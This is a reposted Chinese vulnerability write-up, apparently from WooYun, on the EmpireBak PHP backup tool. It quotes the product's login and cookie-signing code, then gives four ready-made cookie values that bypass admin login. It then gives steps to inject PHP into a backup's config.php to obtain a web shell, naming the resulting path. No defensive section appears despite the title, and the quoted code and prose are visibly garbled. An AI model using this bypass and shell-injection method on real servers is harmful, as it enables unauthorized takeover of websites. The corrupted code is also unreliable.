转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
1.仿冒cookie登录系统(实际上这一步不必要的,大多数客户连登陆密码都没改,全是默认设置的123456)

登录成功设定4个cookie,看编码

PHP Code拷贝內容到剪贴板
  1. function login($lusername,$lpassword,$key,$lifetime=0){    
  2. global $set_username,$set_password,$set_loginauth,$set_loginkey;    
  3. if(emptyempty($lusername)||emptyempty($lpassword)) {     
  4. printerror("EmptyLoginUser","index.php");     
  5. }    
  6. //短信验证码    
  7. if(!$set_loginkey)    
  8. {    
  9. if($key<>getcvar('checkkey')||emptyempty($key))    
  10. {    
  11. printerror("FailLoginKey","index.php");    
  12. }    
  13. }    
  14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    
  15. {    
  16. printerror("ErrorUser","index.php");    
  17. }    
  18. //验证码    
  19. if($set_loginauth&$set_loginauth!=$_POST['loginauth'])    
  20. {    
  21. printerror("ErrorLoginAuth","index.php");    
  22. }    
  23. $logintime=time();    
  24. $rnd=make_password(12);//形成任意标识符    
  25. $s1=esetcookie("bakusername",$lusername,0);    
  26. $s2=esetcookie("bakrnd",$rnd,0);//任意标识符    
  27. $s3=esetcookie("baklogintime",$logintime,0);    
  28. Ebak_SCookieRnd($lusername,$rnd);//    
  29. if(!$s1||!$s2)    
  30. {    
  31. printerror("NotOpenCookie","index.php");    
  32. }    
  33. printerror("LoginSuccess","admin.php");    
  34. }  

再看一下make_password涵数

PHP Code拷贝內容到剪贴板
  1. function make_password($pw_length){    
  2. $low_ascii_bound=50;    
  3. $upper_ascii_bound=122;    
  4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    
  5. while($i<$pw_length)    
  6. {    
  7. mt_srand((double)microtime()*1000000);    
  8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    
  9. if(!in_array($randnum,$notuse))    
  10. {    
  11. $password1=$password1.chr($randnum);    
  12. $i ;    
  13. }    
  14. }    
  15. return $password1;    
  16. }  

这一涵数仅仅生成随机数,再看一下Ebak_SCookieRnd涵数

PHP Code拷贝內容到剪贴板
  1. function Ebak_SCookieRnd($username,$rnd){    
  2. global $set_loginrnd;//$set_loginrnd为config.php里边的认证动态密码    
  3. $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//沒有把登陆密码加上,因此系统漏洞造成了    
  4. esetcookie("loginebakckpass",$ckpass,0);    
  5. }  

下边得出全能cookie(key:value):

XML/HTML Code拷贝內容到剪贴板
  1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    
  2. ebak_bakrnd:35y5cCnnA4Kh    
  3. ebak_bakusername:admin    
  4. ebak_baklogintime:4070883661  

应用之上cookie就可以立即浏览admin.php

2.拿shell

后台管理基本参数一般都设定好啦,假如不可以数据库连接,能够在数据查询设定里添个自身的远程控制数据库查询

备份数据数据信息,随意找个数据备份,

随后到更换文件目录文档內容里,挑选刚刚备份数据的数据库查询,

将”$b_table=”

换成

“phpinfo();

$b_table=”

帝国备份王(Empirebak)万能cookie及拿shell方法与防御 Shell Empirebak 帝国备份王 脚本攻防  第1张
这儿shell的途径便是bdata/mysql_20141007221849/config.php

帝国备份王(Empirebak)万能cookie及拿shell方法与防御 Shell Empirebak 帝国备份王 脚本攻防  第2张